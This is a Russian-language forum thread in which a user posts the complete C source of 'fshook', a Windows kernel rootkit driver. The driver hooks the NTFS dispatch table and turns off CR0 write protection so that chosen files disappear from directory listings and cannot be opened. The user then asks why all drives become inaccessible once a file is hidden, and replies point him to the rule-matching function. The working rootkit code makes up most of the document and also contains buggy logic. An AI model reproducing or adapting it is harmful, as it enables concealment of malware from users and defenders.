проблема с использованием fshook от Cr4sh!

Скачал с http://hellknights.void.ru/ написанный руткит для сокрытия файлов "fshook by Cr4sh".
http://hellknights.void.ru/releases/fshook.rar

Код (Text):

1. #include <stdio.h>
2. #include <ntddk.h>
3. #include "debug.h"
4. #include "undocnt.h"
5. #include "drvcomm.h"
6.  
7. extern PVOID IoDriverObjectType;
8.  
9. PPROTECT_RULE PrtFindRule(PWSTR object);
10.  
11. PDRIVER_OBJECT  pTargetDrvObj;
12. UNICODE_STRING dos_dev_name, dev_name;
13.  
14. typedef NTSTATUS (__stdcall * IRP_FUNC)(
15.     PDEVICE_OBJECT DeviceObject, PIRP Irp
16. );
17.  
18. KMUTEX RulesMutex;
19.  
20. IRP_FUNC OldCreate;
21. IRP_FUNC OldDirectoryControl;
22. //--------------------------------------------------------------------------------------
23. NTSTATUS Process_Dir(wchar_t *pDirName, PFILE_DIRECTORY_INFORMATION pInf)
24. {
25.     NTSTATUS ns = STATUS_SUCCESS;
26.     wchar_t FullPath[255];
27.     PFILE_DIRECTORY_INFORMATION pPrevFileInfo, pFileInfo = pInf;
28.  
29.     while (pFileInfo)
30.     {
31.         RtlZeroMemory(FullPath, sizeof(FullPath));
32.        
33.         wcscpy(FullPath, pDirName);
34.  
35.         if (pDirName[wcslen(pDirName) - 1] != '\\')
36.             wcscat(FullPath, L"\\");
37.        
38.         wcsncat(FullPath, pFileInfo->FileName,
39.             min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath)));
40.  
41.         if (PrtFindRule(FullPath))
42.         {
43.             DbgMsg("%S - PROTECTED\n", FullPath);
44.  
45.             if (pPrevFileInfo)
46.             {
47.                 if (pFileInfo->NextEntryOffset)
48.                 {
49.                     pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset;
50.                 } else {
51.                     *(PULONG)pInf = 0;
52.                     return ns;
53.                 }
54.             } else {
55.                 if (pFileInfo->NextEntryOffset)
56.                 {
57.                     *(PULONG)pInf += pFileInfo->NextEntryOffset;
58.                 } else {
59.                     ns = STATUS_NO_SUCH_FILE;
60.                 }
61.             }  
62.         }
63.  
64.         if (pFileInfo->NextEntryOffset)
65.         {
66.             pPrevFileInfo = pFileInfo;
67.             *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset;
68.         } else {
69.             pFileInfo = NULL;
70.         }
71.     }
72.    
73.     return ns;
74. }
75. //--------------------------------------------------------------------------------------
76. NTSTATUS Process_Full(wchar_t *pDirName, PFILE_FULL_DIRECTORY_INFORMATION pInf)
77. {
78.     NTSTATUS ns = STATUS_SUCCESS;
79.     wchar_t FullPath[255];
80.     PFILE_FULL_DIRECTORY_INFORMATION pPrevFileInfo, pFileInfo = pInf;
81.  
82.     while (pFileInfo)
83.     {
84.         RtlZeroMemory(FullPath, sizeof(FullPath));
85.        
86.         wcscpy(FullPath, pDirName);
87.  
88.         if (pDirName[wcslen(pDirName) - 1] != '\\')
89.             wcscat(FullPath, L"\\");
90.        
91.         wcsncat(FullPath, pFileInfo->FileName,
92.             min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath)));
93.  
94.         if (PrtFindRule(FullPath))
95.         {
96.             DbgMsg("%S - PROTECTED\n", FullPath);
97.  
98.             if (pPrevFileInfo)
99.             {
100.                 if (pFileInfo->NextEntryOffset)
101.                 {
102.                     pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset;
103.                 } else {
104.                     *(PULONG)pInf = 0;
105.                     return ns;
106.                 }
107.             } else {
108.                 if (pFileInfo->NextEntryOffset)
109.                 {
110.                     *(PULONG)pInf += pFileInfo->NextEntryOffset;
111.                 } else {
112.                     ns = STATUS_NO_SUCH_FILE;
113.                 }
114.             }  
115.         }
116.  
117.         if (pFileInfo->NextEntryOffset)
118.         {
119.             pPrevFileInfo = pFileInfo;
120.             *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset;
121.         } else {
122.             pFileInfo = NULL;
123.         }
124.     }
125.    
126.     return ns;
127. }
128. //--------------------------------------------------------------------------------------
129. NTSTATUS Process_Both(wchar_t *pDirName, PFILE_BOTH_DIRECTORY_INFORMATION pInf)
130. {
131.     NTSTATUS ns = STATUS_SUCCESS;
132.     wchar_t FullPath[255];
133.     PFILE_BOTH_DIRECTORY_INFORMATION pPrevFileInfo, pFileInfo = pInf;
134.  
135.     while (pFileInfo)
136.     {
137.         RtlZeroMemory(FullPath, sizeof(FullPath));
138.        
139.         wcscpy(FullPath, pDirName);
140.  
141.         if (pDirName[wcslen(pDirName) - 1] != '\\')
142.             wcscat(FullPath, L"\\");
143.        
144.         wcsncat(FullPath, pFileInfo->FileName,
145.             min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath)));
146.  
147.         if (PrtFindRule(FullPath))
148.         {
149.             DbgMsg("%S - PROTECTED\n", FullPath);
150.  
151.             if (pPrevFileInfo)
152.             {
153.                 if (pFileInfo->NextEntryOffset)
154.                 {
155.                     pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset;
156.                 } else {
157.                     *(PULONG)pInf = 0;
158.                     return ns;
159.                 }
160.             } else {
161.                 if (pFileInfo->NextEntryOffset)
162.                 {
163.                     *(PULONG)pInf += pFileInfo->NextEntryOffset;
164.                 } else {
165.                     ns = STATUS_NO_SUCH_FILE;
166.                 }
167.             }  
168.         }
169.  
170.         if (pFileInfo->NextEntryOffset)
171.         {
172.             pPrevFileInfo = pFileInfo;
173.             *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset;
174.         } else {
175.             pFileInfo = NULL;
176.         }
177.     }
178.    
179.     return ns;
180. }
181. //--------------------------------------------------------------------------------------
182. NTSTATUS Process_Names(wchar_t *pDirName, PFILE_NAMES_INFORMATION pInf)
183. {
184.     NTSTATUS ns = STATUS_SUCCESS;
185.     wchar_t FullPath[255];
186.     PFILE_NAMES_INFORMATION pPrevFileInfo, pFileInfo = pInf;
187.  
188.     while (pFileInfo)
189.     {
190.         RtlZeroMemory(FullPath, sizeof(FullPath));
191.        
192.         wcscpy(FullPath, pDirName);
193.  
194.         if (pDirName[wcslen(pDirName) - 1] != '\\')
195.             wcscat(FullPath, L"\\");
196.        
197.         wcsncat(FullPath, pFileInfo->FileName,
198.             min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath)));
199.  
200.         if (PrtFindRule(FullPath))
201.         {
202.             DbgMsg("%S - PROTECTED\n", FullPath);
203.  
204.             if (pPrevFileInfo)
205.             {
206.                 if (pFileInfo->NextEntryOffset)
207.                 {
208.                     pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset;
209.                 } else {
210.                     *(PULONG)pInf = 0;
211.                     return ns;
212.                 }
213.             } else {
214.                 if (pFileInfo->NextEntryOffset)
215.                 {
216.                     *(PULONG)pInf += pFileInfo->NextEntryOffset;
217.                 } else {
218.                     ns = STATUS_NO_SUCH_FILE;
219.                 }
220.             }  
221.         }
222.  
223.         if (pFileInfo->NextEntryOffset)
224.         {
225.             pPrevFileInfo = pFileInfo;
226.             *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset;
227.         } else {
228.             pFileInfo = NULL;
229.         }
230.     }
231.    
232.     return ns;
233. }
234. //--------------------------------------------------------------------------------------
235. NTSTATUS __stdcall NewCreate(PDEVICE_OBJECT DeviceObject, PIRP Irp)
236. {
237.     PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
238.  
239.     if (MmIsAddressValid(stack->FileObject))
240.     {
241.         if (MmIsAddressValid(stack->FileObject->FileName.Buffer))
242.         {
243.             DbgMsg("IRP_MJ_CREATE : %S\n", stack->FileObject->FileName.Buffer);
244.  
245.             if (PrtFindRule(stack->FileObject->FileName.Buffer))
246.                 return STATUS_UNSUCCESSFUL;
247.         }
248.     }
249.  
250.     return OldCreate(DeviceObject, Irp);
251. }
252. //--------------------------------------------------------------------------------------
253. NTSTATUS __stdcall NewDirectoryControl(PDEVICE_OBJECT DeviceObject, PIRP Irp)
254. {
255.     NTSTATUS ns;
256.     PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
257.     PQUERY_DIRECTORY QueryDir = (PQUERY_DIRECTORY)&stack->Parameters;
258.     FILE_INFORMATION_CLASS FileInformationClass = QueryDir->FileInformationClass;
259.     wchar_t DirName[255];
260.  
261.     if (stack->MinorFunction == IRP_MN_QUERY_DIRECTORY)
262.     {
263.         if (MmIsAddressValid(stack->FileObject))
264.         {
265.             if (MmIsAddressValid(stack->FileObject->FileName.Buffer))
266.             {
267.                 DbgMsg("IRP_MJ_DIRECTORY_CONTROL : %S (FileInformationClass: %d)\n",
268.                     stack->FileObject->FileName.Buffer, FileInformationClass);
269.  
270.                 wcsncpy(DirName, stack->FileObject->FileName.Buffer,
271.                             min(sizeof(DirName), stack->FileObject->FileName.Length));
272.  
273.                 ns = OldDirectoryControl(DeviceObject, Irp);
274.  
275.                 if (ns == STATUS_SUCCESS)
276.                 {
277.                     switch (FileInformationClass)
278.                     {
279.                     case FileDirectoryInformation:
280.                         return Process_Dir(DirName, (PFILE_DIRECTORY_INFORMATION)Irp->UserBuffer);
281.  
282.                     case FileFullDirectoryInformation:
283.                         return Process_Full(DirName, (PFILE_FULL_DIRECTORY_INFORMATION)Irp->UserBuffer);
284.  
285.                     case FileBothDirectoryInformation:
286.                         return Process_Both(DirName, (PFILE_BOTH_DIRECTORY_INFORMATION)Irp->UserBuffer);
287.  
288.                     case FileNamesInformation:
289.                         return Process_Names(DirName, (PFILE_NAMES_INFORMATION)Irp->UserBuffer);
290.                     }
291.                 }
292.  
293.                 return ns;
294.             }
295.         }
296.     }
297.  
298.     return OldDirectoryControl(DeviceObject, Irp);
299. }
300. //--------------------------------------------------------------------------------------
301. // compare two strings from the end (returns number of equal characters)
302. unsigned int r_wcsncmp(wchar_t *str1, wchar_t *str2)
303. {
304.     unsigned int i, len1 = wcslen(str1), len2 = wcslen(str2);
305.     for (i = 0; i < min(len1, len2); i++)
306.     {
307.         if (str1[len1-i] != str2[len2-i])
308.             return 0;
309.     }
310.     return i;
311. }
312. //--------------------------------------------------------------------------------------
313. // first and last rules in list
314. PPROTECT_RULE r_first = NULL, r_last = NULL;
315. // find rule by type and object name
316. PPROTECT_RULE PrtFindRule(PWSTR object)
317. {
318.     PPROTECT_RULE r = r_first;
319.  
320.     NTSTATUS ns = KeWaitForMutexObject(&RulesMutex, Executive, KernelMode, FALSE, NULL);
321.     if (!NT_SUCCESS(ns))
322.     {
323.         DbgMsg("KeWaitForMutexObject() ERROR : 0x%.8x\n", ns);
324.         return NULL;
325.     }
326.  
327.     __try
328.     {
329.         while (r)
330.         {
331.             if (r_wcsncmp(r->name, object))
332.                 __leave;
333.    
334.             r = (PPROTECT_RULE)r->r_next;
335.         }
336.  
337.         r = NULL;
338.     }
339.     __finally
340.     {
341.         KeReleaseMutex(&RulesMutex, FALSE);
342.     }
343.  
344.     return r;
345. }
346. //--------------------------------------------------------------------------------------
347. // delete some rule
348. BOOLEAN PrtDelRule(PWSTR object)
349. {
350.     BOOLEAN bRet = FALSE;
351.     PPROTECT_RULE r;
352.  
353.     NTSTATUS ns = KeWaitForMutexObject(&RulesMutex, Executive, KernelMode, FALSE, NULL);
354.     if (!NT_SUCCESS(ns))
355.     {
356.         DbgMsg("KeWaitForMutexObject() ERROR : 0x%.8x\n", ns);
357.         return bRet;
358.     }
359.  
360.     __try
361.     {
362.         r = PrtFindRule(object);
363.         if (r == NULL)
364.         {
365.             DbgMsg("PrtDelRule() : Rule not found\n");
366.             __leave;
367.         }
368.  
369.         if (r->r_prev)
370.             ((PPROTECT_RULE)(r->r_prev))->r_next = r->r_next;
371.  
372.         if (r->r_next)
373.             ((PPROTECT_RULE)(r->r_next))->r_prev = r->r_prev;
374.  
375.         if (r_first == r)
376.             r_first = (PPROTECT_RULE)r->r_next;
377.  
378.         if (r_last == r)
379.             r_last = (PPROTECT_RULE)r->r_prev;
380.  
381.         DbgMsg("PrtDelRule() : 0x%.8x deleted! (object name: %S)\n", object);
382.  
383.         ExFreePool(r);
384.  
385.         bRet = TRUE;
386.     }
387.     __finally
388.     {
389.         KeReleaseMutex(&RulesMutex, FALSE);
390.     }
391.  
392.     return bRet;
393. }
394. //--------------------------------------------------------------------------------------
395. // create new rule
396. BOOLEAN PrtAddRule(PWSTR object)
397. {
398.     BOOLEAN bRet = FALSE;
399.     PPROTECT_RULE r;
400.  
401.     NTSTATUS ns = KeWaitForMutexObject(&RulesMutex, Executive, KernelMode, FALSE, NULL);
402.     if (!NT_SUCCESS(ns))
403.     {
404.         DbgMsg("KeWaitForMutexObject() ERROR : 0x%.8x\n", ns);
405.         return FALSE;
406.     }
407.  
408.     __try
409.     {
410.         // allready exists...
411.         r = PrtFindRule(object);
412.         if (r)
413.         {
414.             DbgMsg("PrtAddRule() : Allready exists\n");
415.             __leave;
416.         }
417.  
418.         r = (PPROTECT_RULE)ExAllocatePool(NonPagedPool, sizeof(PROTECT_RULE));
419.         if (r == NULL)
420.         {
421.             DbgMsg("ExAllocatePool() ERROR\n");
422.             __leave;
423.         }
424.  
425.         RtlZeroMemory(r, sizeof(PROTECT_RULE));
426.  
427.         wcsncpy(r->name, object, min(wcslen(object), 255));
428.  
429.         if (r_last)
430.         {
431.             r_last->r_next = (ULONG)r;
432.             r->r_prev = (ULONG)r_last;
433.             r_last = r;
434.         } else {
435.             r_last = r_first = r;  
436.         }
437.  
438.         DbgMsg("PrtAddRule() : Rule added! (object name: %S)\n", object);
439.  
440.         bRet = TRUE;
441.     }
442.     __finally
443.     {
444.         KeReleaseMutex(&RulesMutex, FALSE);
445.     }
446.    
447.     return bRet;
448. }
449. //--------------------------------------------------------------------------------------
450. // DriverDispath
451. NTSTATUS DeviceControlRoutine(PDEVICE_OBJECT DeviceObject, PIRP Irp)
452. {
453.     PIO_STACK_LOCATION stack;
454.     NTSTATUS ns = STATUS_SUCCESS;
455.     ULONG code, ret = 0;
456.     PIRP notify_irp;
457.     PREQUEST_BUFFER buf_req, buf_res;
458.  
459.     Irp->IoStatus.Status = ns;
460.     Irp->IoStatus.Information = 0;
461.  
462.     stack = IoGetCurrentIrpStackLocation(Irp);
463.  
464.     if (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
465.     {
466.         code = stack->Parameters.DeviceIoControl.IoControlCode;
467.        
468.         buf_req = buf_res = (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;
469.  
470.         DbgMsg("IRP_MJ_DEVICE_CONTROL : 0x%.8x\n", code);
471.  
472.         Irp->IoStatus.Information = sizeof(REQUEST_BUFFER);
473.  
474.         switch (code)
475.         {
476.         case IOCTL_PROTECT_FILE:
477.             if (buf_req->protect_object.active)
478.             {
479.                 buf_res->status = PrtAddRule(buf_req->protect_object.name);
480.             } else {
481.                 buf_res->status = PrtDelRule(buf_req->protect_object.name);
482.             }
483.             break;
484.  
485.         default:
486.             ns = STATUS_INVALID_DEVICE_REQUEST;
487.             buf_res->status = 0;
488.             Irp->IoStatus.Information = 0;
489.             break;
490.         }
491.     }
492.  
493.     if (ns != STATUS_PENDING)
494.     {
495.         IoCompleteRequest(Irp, IO_NO_INCREMENT);
496.         Irp->IoStatus.Status = ns;
497.     }
498.  
499.     return ns;
500. }
501. //--------------------------------------------------------------------------------------
502. // unload function
503. NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject)
504. {  
505.     DbgMsg("DriverUnload()\n");
506.  
507.     __asm
508.     {
509.         cli
510.         mov     eax,cr0
511.         and     eax,not 000010000h
512.         mov     cr0,eax
513.     }
514.  
515.     InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE], (ULONG)OldCreate);
516.     InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_DIRECTORY_CONTROL], (ULONG)OldDirectoryControl);
517.  
518.     __asm
519.     {
520.         mov     eax,cr0
521.         or      eax,000010000h        
522.         mov     cr0,eax
523.         sti          
524.     }
525.  
526.     DbgMsg("IRP_MJ_CREATE: Restored to 0x%.8x\n", OldCreate);
527.     DbgMsg("IRP_MJ_DIRECTORY_CONTROL: Restored to 0x%.8x\n", OldDirectoryControl);
528.  
529.     IoDeleteDevice(DriverObject->DeviceObject);
530.  
531.     IoDeleteSymbolicLink(&dos_dev_name);
532.  
533.     return STATUS_SUCCESS;
534. }
535. //--------------------------------------------------------------------------------------
536. // main driver function
537. NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,
538.         IN PUNICODE_STRING RegistryPath
539. )
540. {  
541.     NTSTATUS ns = STATUS_SUCCESS;
542.     UNICODE_STRING DevName;
543.     wchar_t wc_dev_name[512], wc_dos_dev_name[512];
544.     PDEVICE_OBJECT dev_obj;
545.  
546.     DbgMsg("DriverEntry()\n");
547.  
548.     DriverObject->DriverUnload = DriverUnload;
549.  
550.     swprintf(wc_dev_name, L"\\Device\\%s", DEVICE_NAME);
551.     swprintf(wc_dos_dev_name, L"\\DosDevices\\%s", DEVICE_NAME);
552.    
553.     RtlInitUnicodeString(&dev_name, wc_dev_name);
554.     RtlInitUnicodeString(&dos_dev_name, wc_dos_dev_name);
555.  
556.     ns = IoCreateDevice(DriverObject, 0, &dev_name, FILE_DEVICE_UNKNOWN,
557.         FILE_DEVICE_SECURE_OPEN, FALSE, &dev_obj);
558.  
559.     if (NT_SUCCESS(ns))
560.     {
561.         DriverObject->MajorFunction[IRP_MJ_CREATE]         =
562.         DriverObject->MajorFunction[IRP_MJ_CLOSE]          =
563.         DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControlRoutine;
564.  
565.         dev_obj->Flags |= DO_BUFFERED_IO;
566.  
567.         IoDeleteSymbolicLink(&dos_dev_name);
568.  
569.         ns = IoCreateSymbolicLink(&dos_dev_name, &dev_name);
570.  
571.         if (!NT_SUCCESS(ns))
572.         {
573.             DbgMsg("IoCreateSymbolicLink() fails : 0x%.8x\n", ns);
574.             IoDeleteDevice(DriverObject->DeviceObject);
575.             return ns;
576.         }
577.     } else {
578.         DbgMsg("IoCreateDevice() fails : 0x%.8x\n", ns);
579.         return ns;
580.     }
581.  
582.     KeInitializeMutex(&RulesMutex, 0);
583.  
584.     RtlInitUnicodeString(&DevName, L"\\FileSystem\\Ntfs");
585.  
586.     ns = ObReferenceObjectByName(&DevName, OBJ_CASE_INSENSITIVE, NULL,
587.         0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL, &pTargetDrvObj);
588.     if (!NT_SUCCESS(ns))
589.     {
590.         DbgMsg("ObReferenceObjectByName() fails : 0x%.8x\n", ns);
591.  
592.         return ns;
593.     }
594.  
595.     __asm
596.     {
597.         cli
598.         mov     eax,cr0
599.         and     eax,not 000010000h
600.         mov     cr0,eax
601.     }
602.  
603.     OldCreate = (IRP_FUNC)InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE], (ULONG)NewCreate);
604.     OldDirectoryControl = (IRP_FUNC)InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_DIRECTORY_CONTROL], (ULONG)NewDirectoryControl);
605.  
606.     __asm
607.     {
608.         mov     eax,cr0
609.         or      eax,000010000h        
610.         mov     cr0,eax
611.         sti          
612.     }
613.  
614.     DbgMsg("IRP_MJ_CREATE: Old func 0x%.8x; New func 0x%.8x\n", OldCreate, NewCreate);
615.     DbgMsg("IRP_MJ_DIRECTORY_CONTROL: Old func 0x%.8x; New func 0x%.8x\n", OldDirectoryControl, NewDirectoryControl);
616.  
617.     return STATUS_SUCCESS;
618. }
619. //--------------------------------------------------------------------------------------
620. // EoF

У меня возникла такая проблема при его использовании:

- устанавливаю, и делаю все так, как написано в readme
- скрываю какой либо файл "control.exe dll_load.exe"

просле этого при обращении к какому либо диску вижу диалоговое окно
----------------------------------
Нет доступа к С:\
Параметр задан неверно
----------------------------------

если снимаю скрытие "control.exe dll_load.exe /d" то обрашение к дискам востонавливается

система xp sp2

Сам автор на вопрос по ICQ пока не ответил.

Может кто пользовался, или знает в чем проблема?

 

смотри функцию поиска рулесов и будет тебе счастье (смотреть удобно в выньдебаге с отладкой по сорцу, иначе не поймешь)

 

Йопт. сорец есть. Айс есть. айсовый лоадер тоже есть.

 

просто вообще не разберался с дайверами фильтрами файловых систем!

думал сразу раз и заработает!
думал може у кого была такая же проблема!

ок, читаю разбераюсь!
Всем спасибо!